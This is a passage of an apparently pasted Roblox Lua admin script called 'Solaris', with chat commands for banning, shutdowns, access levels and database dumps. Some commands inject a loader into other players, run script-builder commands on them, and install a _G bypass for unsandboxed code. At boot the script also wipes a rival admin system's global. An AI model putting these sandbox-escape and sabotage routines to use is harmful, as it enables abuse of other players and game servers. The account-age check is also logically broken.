  837. AddCommand('Unban','unban','Unbans a player', 3, function(Message, Collect_Players, Player)
  838. for i,v in pairs(Solaris.Banned)do
  839. if string.sub(string.lower(i),1,#Message)==string.lower(Message)then
  840. Solaris.Banned[i]=nil
  841. end
  842. end
  843. end)
  844.  
  845. AddCommand('Banned','banned','Shows banned table',2,function(Message, Collect_Players, Player)
  846. print_to(Player,"Got Banned")
  847. print_to(Player,"--------------------------------")
  848. for i,v in pairs(Solaris.Banned)do
  849. print_to(Player,"["..tostring(i).."]: "..tostring(v))
  850. print_to(Player,"--------------------------------")
  851. end
  852. end)
  853.  
  854. AddCommand('Sbexe',"sbexe","Sbexe to a Player",3,function(Message, Collect_Players, Player)
  855. local Split = GetSplit(Message)
  856. local Plrs = Collect_Players(Message:sub(1,Split-1),Player)
  857. local Command = Message:sub(Split+1)
  858. if #Plrs>0 then
  859. for index,data in pairs(Plrs)do
  860. Sbexe(Command,data)--afk
  861. end
  862. end
  863. end)
  864.  
  865. AddCommand('Loader','injl','Injects Solaris loader to a player',3,function(Message, Collect_Players, Player)
  866. local Plrs = Collect_Players(Message,Player)
  867. if #Plrs > 0 then
  868. for i,v in pairs(Plrs)do
  869. print_to(v,"[Solaris]: has issued a loader to you")
  870. InjectLoader(v)
  871. end
  872. end
  873. end)
  874.  
  875. AddCommand('Theme','theme','Changes Orb theme',2,function(Message, Collect_Players, Player)
  876. ChangeTheme(Player,Message)
  877. end)
  878.  
  879. AddCommand('Follow','fol','Makes orb follow a target or your self',2,function(Message, Collect_Players, Player)
  880. if #Message>0 then
  881. local Plrs = Collect_Players(Message,Player)
  882. if #Plrs >1 then print_to(Player,"[Error]: Only one player allowed") return end
  883. for index,data in pairs(Plrs)do
  884. Follow(true,data.Name)
  885. end
  886. else
  887. Follow(true,Player.Name)
  888. end
  889. end)
  890.  
  891. AddCommand('Nofollow','nofol','Sets the or to no follow',2,function(Message, Collect_Players, Player)
  892. Follow(false,"")
  893. end)
  894.  
  895. AddCommand('Shutdown','sd','Shuts down the server',3,function(Message, Collect_Players, Player)
  896. for i,v in pairs(game:GetService('Players'):children())do
  897. v:Kick('This server has shutdown')
  898. end
  899. end)
  900.  
  901. AddCommand('Access Level','setl','Sets the access level of a plr',1,function(Message, Collect_Players, Player)
  902. local Split = GetSplit(Message)
  903. local Plrs = Collect_Players(Message:sub(1,Split-1),Player)
  904. local Level = tonumber(Message:sub(Split+1))
  905. if #Plrs>0 then
  906. for index,data in pairs(Plrs)do
  907. if Level > Solaris.Admins[data.Name].Level and Solaris.Admins[data.Name].Level >= Solaris.Admins[Player.Name].Level then
  908. print_to(data,"[Error]: You cant set your level higher then your own")
  909. else
  910. print("[Solaris]: Has set "..data.Name.."'s Access level to ["..Level.."]")
  911. Solaris.Admins[data.Name].Level = tonumber(Level)
  912. end
  913. end
  914. end
  915. end)
  916.  
  917. AddCommand('Bypass','bypass','Loads a _G function giving a new env',3,function(Message, Collect_Players, Player)
  918. local newEnv = getfenv(1)
  919. newEnv.script = nil
  920. newEnv.warn = print
  921. newEnv.print = print
  922. newEnv.print_to = print_to
  923. newEnv.broadcast = broadcast
  924. rawset(_G,"Bypass",function()
  925. return newEnv
  926. end)
  927. broadcast('[Solaris]: Has Loaded non-local bypass use setfenv(1,_G.Bypass()) to run unsandboxed code')
  928. end)
  929.  
  930. AddCommand('Lock','lock','Sets the status of Scripting lock',3,function(Message, Collect_Players, Player)
  931. if #Message>0 then
  932. if Message:lower() == 'true' then
  933. if Solaris.Blocker.LocalBlock == true and Solaris.Blocker.LocalBlock == true then
  934. print_to(Player,"[Solaris]: Scripting is already locked")
  935. else
  936. Solaris.Blocker.LocalBlock = true
  937. Solaris.Blocker.GlobalBlock = true
  938. print('[Solairs]: Is locking Scripting')
  939. end
  940. elseif Message:lower()=='false' then
  941. if Solaris.Blocker.LocalBlock == false and Solaris.Blocker.LocalBlock == false then
  942. print_to(Player,"[Solaris]: Scripting is already unlocked")
  943. else
  944. Solaris.Blocker.LocalBlock = false
  945. Solaris.Blocker.GlobalBlock = false
  946. print('[Solairs]: Is unlocking Scripting')
  947. end
  948. end
  949. end
  950. end)
  951.  
  952. AddCommand('Clear Cache','ccl','Clears log cache of a secret thing',5,function(Message, Collect_Players, Player)
  953. local y,n = pcall(function()
  954. print('[Solairs]: Has Cleared => HTTP CACHE')
  955. for i,v in pairs(rbxdb:GetAllData())do
  956. rbxdb:DeleteValue(i)
  957. end
  958. end)
  959. if not y then print("[ERROR]: "..n)end
  960. end)
  961.  
  962. AddCommand('Hide','hide','hides or shows the orb',2,function(Message, Collect_Players, Player)
  963. if #Message>0 then
  964. if Message:lower() == 'true'then
  965. ChangeTheme(Player,'hidden')
  966. elseif Message:lower()== 'false' then
  967. ChangeTheme(Player,'normal')
  968. end
  969. end
  970. end)
  971.  
  972. AddCommand('Get Saves','gs','Get saves',4,function(Message, Collect_Players, Player)
  973. GetSavedScripts(Player)
  974. end)
  975.  
  976. AddCommand('Get Database','getd','Gets data from database',5,function(Message, Collect_Players, Player)
  977. local Data = rbxdb:GetAllData()
  978. if type(Data)=='table'then
  979. for i,v in pairs(Data)do wait(.1)
  980. print_to(Player,tostring(i)..":"..tostring(v))
  981. end
  982. end
  983. end)
  984.  
  985. AddCommand('Console','sc','Gives Server Console',5,function(Message, Collect_Players, Player)
  986. GiveServerConsole(Player)
  987. end)
  988.  
  989. AddCommand('Get Garbage','getg','Gets an Array of Garbage Data',2,function(Message, Collect_Players, Player)
  990. GetGarbage(Player)
  991. end)
  992.  
  993. AddCommand('Safe Exe','sexe','Executes safe code',3,function(Message, Collect_Players, Player)
  994. if #Message > 0 then
  995. SafeExe(Message,Player)
  996. end
  997. end)
  998.  
  999. AddCommand('Kill Rot','kill','Kills the orb rot if its a emergency',4,function(Message, Collect_Players, Player)
  1000. Solaris.__STATUS = not Solaris.__STATUS
  1001. if not game.Workspace:FindFirstChild("\5\5\5\5Solar\5\5is\5\5\5\5")then
  1002. SpawnOrb()
  1003. end
  1004. end)
  1005.  
  1006. print("[Solaris]: Has finished booting commands")
  1007. end local BootCommands = API.BootCommands
  1008.  
  1009. function API.Connect(plr)
  1010. if type(plr)~='userdata'then return end
  1011.  
  1012. local Allowed_YoungPlrs = {"xDarkScripter","Fuust","lnvertious"}
  1013. if plr.AccountAge/365 < .5 then
  1014. for i,v in pairs(Allowed_YoungPlrs)do
  1015. if not plr.Name == v then
  1016. plr:Kick("[Solaris]: Sorry your AccountAge is to young to join this game")
  1017. end
  1018. end
  1019. end
  1020.  
  1021. if Solaris.Banned[plr.Name]then Sbexe('g/ns nl ns nl ns nl ns nl',plr) plr:remove()end--Kick(Solaris.Banned[plr.Name]) end
  1022.  
  1023. if not Solaris.Admins[plr.Name]then
  1024. print_to(plr,"[Solaris]: Has identifyed you as a ["..Solaris.Levels[1].."]")
  1025. print("[Solaris]: connect "..plr.Name.." as a ["..Solaris.Levels[1].."]")
  1026. Solaris.Admins[plr.Name] = {Level=1}
  1027. elseif Solaris.Admins[plr.Name]then
  1028. print_to(plr,"[Solaris]: Has identified you as a ["..Solaris.Levels[Solaris.Admins[plr.Name].Level].."]")
  1029. end
  1030. ConnectLogger(plr)
  1031. plr.Chatted:connect(function(msg)
  1032. Chatted(plr,msg)
  1033. end)
  1034. end local Connect = API.Connect
  1035.  
  1036. --// Bootstrapper functions
  1037.  
  1038. function Bootstrap:Boot()
  1039. local DeploymentID = Generate(math.random(1,50)*2/3)
  1040. --// Bootup
  1041. broadcast("[Solaris]: Has started booting up")
  1042. SpawnOrb()
  1043. Rotate()
  1044. BootCommands()
  1045. for i,v in pairs(game:GetService('Players'):children())do
  1046. Connect(v)
  1047. end
  1048.  
  1049. game:GetService('Players').PlayerAdded:connect(function(plr)
  1050. wait(.5)
  1051. Connect(plr)
  1052. end)
  1053.  
  1054. game.Workspace.DescendantAdded:connect(function(obj)
  1055. if obj.ClassName == "Script" then
  1056. if Solaris.Blocker.GlobalBlock == true then
  1057. obj.Disabled = true
  1058. obj:Destroy()
  1059. end
  1060. elseif obj.ClassName == "LocalScript" then
  1061. if Solaris.Blocker.LocalBlock == true then
  1062. obj.Disabled = true
  1063. obj:Destroy()
  1064. end
  1065. end
  1066. end)
  1067. --game.DescendantAdded:connect(function(instance)
  1068. --if Solaris.Blocker.LagBlocker== true then
  1069. --if Solaris.LagBlockedInstances[instance.ClassName]then
  1070. --instance:Destroy()
  1071. --end
  1072. --end
  1073. --end)
  1074.  
  1075.  
  1076. game.itemChanged:connect(function()
  1077. spawn(function()
  1078. local osc=_G.OSC_AddServerSideData;
  1079. _G.OSC_AddServerSideData=nil;--< rekt osc
  1080. end);
  1081. end);
  1082.  
  1083.  
  1084. print("[Solaris]: Has booted successfully")
  1085. broadcast("[Solaris]: Has deployed with ID: "..DeploymentID.."")
  1086. rbxdb:SetValue("[SOLARIS DEPLOYMENT]",DeploymentID)
  1087. end
  1088.  
  1089. if script.ClassName == 'Script'then
  1090. if not game.Workspace:FindFirstChild("\5\5\5\5Solar\5\5is\5\5\5\5")then
  1091. local y,n = pcall(function()
  1092. Solaris.API.Bootstrap:Boot()
  1093. end)if not y then print('{ERROR}: '..n)end
  1094. end
  1095. elseif script.ClassName == 'ModuleScript'then
  1096. return function(deploymentKey)
  1097. local Key = Solaris.AccessKey
  1098. if deploymentKey == Key then
  1099. return Solaris.API.Bootstrap
  1100. else
  1101. return error('INVALID DEPLOYMENT ACCESS KEY!')
  1102. end
  1103. end
  1104. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement